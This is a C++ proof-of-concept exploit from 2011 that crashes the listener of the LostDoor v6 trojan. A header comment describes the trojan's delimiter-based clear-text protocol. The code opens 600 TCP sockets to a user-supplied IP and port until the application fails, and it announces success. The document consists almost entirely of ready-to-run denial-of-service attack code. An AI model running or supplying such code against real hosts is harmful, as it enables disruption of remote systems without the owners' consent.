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	 /*  LostDoor v6 Remote Denial Of Service  *  Author: Kevin R.V <kevin.nullbyte@gmail.com>   *    Date: 2011  * License: Totally free 8-)  *   *   * Some information:  *   *   * The protocol used by LastDoor v6 is a simply clear text protocol with a delimitter, thats a normal packet to connect  * v1ct1m[\AS/]My Host[\AS/] Windows XP Professional[\AS/]testing-a6ae13b[\AS/]2:30:36[\AS/]Spain[\AS/][\AS/]511,48  * The application split by [\AS/] to get the different paramaters sended by victim	  * That exploit code simply try to connect 600 TCP sockets, and the trojan get closed by showing an Automated error message because a programming error.  *   * The exploit have 2 random effects:   * 1 - computer get freezed, and application get closed automatically in some seconds  * 2 - Automated error message and application get close in some seconds  * */
  #include <iostream> #include <winsock2.h>
  #define VERS "0.1"
  int   connected; using namespace std;
 
  int PoC(char * host, unsigned int port) { 	WSADATA wsa; 	WSAStartup(MAKEWORD(2,0),&wsa); 	SOCKET sock[600];     struct sockaddr_in  local[600];     for(int i = 0; i<600; i++)     { 		sock[i]=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 		local[i].sin_family = AF_INET; 		local[i].sin_addr.s_addr = inet_addr(host); 		local[i].sin_port = htons(port); 		if (connect(sock[i], (struct sockaddr *)&local[i], sizeof(local) ) == 0 ) 		{ 			connected = 1; 			cout << "."; 		} 		else 		{ 			if ( connected ) 			{ 				cout << endl << endl << "[+] Congrats LostDoor crashed!" << endl; 				break; 			} 			else 			cout << endl << endl << "[-] Sorry not LostDoor detected :(" << endl; 		} 	} } int main(int argc, char *argv[])
  { 	cout << "LostDoor v6 Denial Of Service " VERS << endl << endl; 	cout << "by Kevin R.V <kevin.nullbyte@gmail.com" << endl; 	if ( argc < 2 ) 	{ 		cout << "Usage: " << argv[0] << ".exe -h <ip> -p <port>" << endl << endl; 		exit(-1); 	} 	 	u_short port; 	char * ip; 	 	for(int i = 0; i<argc; i++) 	{ 		if( ! strcmp(argv[i], "-h") != 0 ) 		ip = argv[i+1]; 		else if( ! strcmp(argv[i], "-p") != 0 ) 		port = atoi(argv[i+1]); 	} 	 	cout << "[+] Starting exploit" << endl << endl; 	PoC(ip, port); 	 	 	return 1; }
 
  
	
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